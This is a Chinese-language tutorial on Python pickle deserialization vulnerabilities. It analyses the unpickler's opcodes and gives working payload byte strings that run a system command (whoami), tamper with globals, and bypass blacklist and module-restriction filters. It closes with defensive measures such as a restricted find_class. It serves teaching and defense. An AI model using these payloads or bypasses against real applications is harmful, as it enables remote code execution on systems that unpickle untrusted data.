Pickle反序列化源码分析与漏洞利用
字数 1042 2025-08-18 11:35:42
Python Pickle反序列化漏洞分析与利用
1. Pickle反序列化基础
1.1 Pickle序列化/反序列化基本使用
Pickle是Python中用于对象序列化的模块,可以将Python对象转换为字节流(序列化),也可以从字节流重建对象(反序列化)。
import pickle
class Animal:
def __init__(self, animal):
self.animal = animal
# 序列化
test = pickle.dumps(Animal("dog"))
print(test) # b'\x80\x03c__main__\nAnimal\nq\x00)\x81q\x01}q\x02X\x06\x00\x00\x00animalq\x03X\x03\x00\x00\x00dogq\x04sb.'
# 反序列化
obj = pickle.loads(test)
print(obj.animal) # 输出: dog
1.2 反序列化过程分析
Pickle反序列化的核心是_Unpickler类的load()方法,它通过操作码(opcode)来执行不同的操作:
def _loads(s, *, fix_imports=True, encoding="ASCII", errors="strict"):
if isinstance(s, str):
raise TypeError("Can't load pickle from unicode string")
file = io.BytesIO(s)
return _Unpickler(file, fix_imports=fix_imports,
encoding=encoding, errors=errors).load()
反序列化过程主要步骤:
- 读取操作码
- 通过
dispatch字典查找对应的处理函数 - 执行处理函数
- 操作栈和备忘录(memo)来构建对象
2. Pickle反序列化漏洞原理
Pickle反序列化的危险性在于它本质上是一个小型虚拟机,可以执行任意Python代码。攻击者可以构造恶意的序列化数据,在反序列化时执行任意命令。
2.1 关键操作码分析
2.1.1 c (GLOBAL) 操作码
用于导入模块和类:
def load_global(self):
module = self.readline()[:-1].decode("ascii")
name = self.readline()[:-1].decode("ascii")
klass = self.find_class(module, name)
self.append(klass)
2.1.2 R (REDUCE) 操作码
用于执行函数调用:
def load_reduce(self):
stack = self.stack
args = stack.pop()
func = stack[-1]
stack[-1] = func(*args)
2.1.3 i (INST) 操作码
用于实例化对象并调用方法:
def load_inst(self):
module = self.readline()[:-1].decode("ascii")
name = self.readline()[:-1].decode("ascii")
klass = self.find_class(module, name)
self._instantiate(klass, self.pop_mark())
2.1.4 o (OBJ) 操作码
用于构建对象:
def load_obj(self):
args = self.pop_mark()
cls = args.pop(0)
self._instantiate(cls, args)
2.1.5 b (BUILD) 操作码
用于设置对象属性:
def load_build(self):
stack = self.stack
state = stack.pop()
inst = stack[-1]
setstate = getattr(inst, "__setstate__", None)
if setstate is not None:
setstate(state)
return
inst.__dict__.update(state)
3. 漏洞利用技术
3.1 全局变量引入
通过c操作码引入全局变量:
import pickle
import secret
class Animal:
def __init__(self):
self.animal = "dog"
def check(self):
if self.animal == secret.best:
print("good!")
payload = b'\x80\x03c__main__\nAnimal\nq\x00)\x81q\x01}q\x02X\x06\x00\x00\x00animalq\x03csecret\nbest\nq\x04sb.'
pickle.loads(payload)
3.2 全局变量修改
通过修改sys.modules来改变模块行为:
payload = b'\x80\x03c__main__\nsecret\nq\x00q\x01}X\x04\x00\x00\x00bestX\x03\x00\x00\x00dogsb0c__main__\nAnimal\n)\x81}X\x06\x00\x00\x00animalX\x03\x00\x00\x00dogsb.'
3.3 函数执行技术
3.3.1 使用i操作码执行命令
payload = b'(X\x06\x00\x00\x00whoamiios\nsystem\n.'
3.3.2 使用R操作码执行命令
payload = b'cos\nsystem\nX\x06\x00\x00\x00whoami\x85R.'
3.3.3 使用o操作码执行命令
payload = b'(cos\nsystem\nX\x06\x00\x00\x00whoamio.'
3.3.4 使用b操作码和__setstate__执行命令
payload = b'\x80\x03c__main__\nAnimal\n)\x81}X\x0C\x00\x00\x00__setstate__cos\nsystem\nsbX\x06\x00\x00\x00whoamib.'
4. WAF绕过技术
4.1 黑名单绕过
使用builtins.getattr绕过函数导入限制:
# R操作码版本
payload = b'\x80\x03cbuiltins\ngetattr\np0\ncbuiltins\ndict\np1\nX\x03\x00\x00\x00get\x86Rp2\n0g2\ncbuiltins\nglobals\n)RX\x0C\x00\x00\x00__builtins__\x86Rp3\n0g0\ng3\nX\x04\x00\x00\x00eval\x86Rp4\n0g4\nX\x21\x00\x00\x00__import__("os").system("whoami")\x85R.'
# o操作码版本
payload = b'\x80\x03(cbuiltins\ngetattr\np0\ncbuiltins\ndict\np1\nX\x03\x00\x00\x00getop2\n0(g2\n(cbuiltins\nglobals\noX\x0C\x00\x00\x00__builtins__op3\n(g0\ng3\nX\x04\x00\x00\x00evalop4\n(g4\nX\x21\x00\x00\x00__import__("os").system("whoami")o.'
4.2 绕过域名空间限制
通过修改sys.modules来绕过限制:
# R操作码版本
payload = b'csys\nmodules\np0\nX\x03\x00\x00\x00sysg0\nscsys\nget\np1\ng1\nX\x02\x00\x00\x00os\x85Rp2\ng0\nX\x03\x00\x00\x00sysg2\nscsys\nsystem\nX\x06\x00\x00\x00whoami\x85R.'
# o操作码版本
payload = b'csys\nmodules\np0\nX\x03\x00\x00\x00sysg0\ns(csys\nget\np1\nX\x02\x00\x00\x00osop2\ng0\nX\x03\x00\x00\x00sysg2\ns(csys\nsystem\nX\x06\x00\x00\x00whoamio.'
5. 防御措施
-
避免反序列化不可信数据:这是最根本的解决方案
-
使用更安全的序列化格式:如JSON
-
重写find_class方法:限制可反序列化的类
import pickle
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
# 只允许从特定模块加载安全类
if module == '__main__':
return super().find_class(module, name)
raise pickle.UnpicklingError(f"global '{module}.{name}' is forbidden")
def restricted_loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()
- 使用签名验证:对序列化数据进行签名,确保数据未被篡改
6. 总结
Pickle反序列化漏洞是Python中一个严重的安全问题,攻击者可以通过精心构造的序列化数据执行任意代码。理解Pickle的工作机制和各种操作码的作用是防御此类攻击的关键。在实际开发中,应尽量避免反序列化不可信数据,或实施严格的访问控制和安全检查。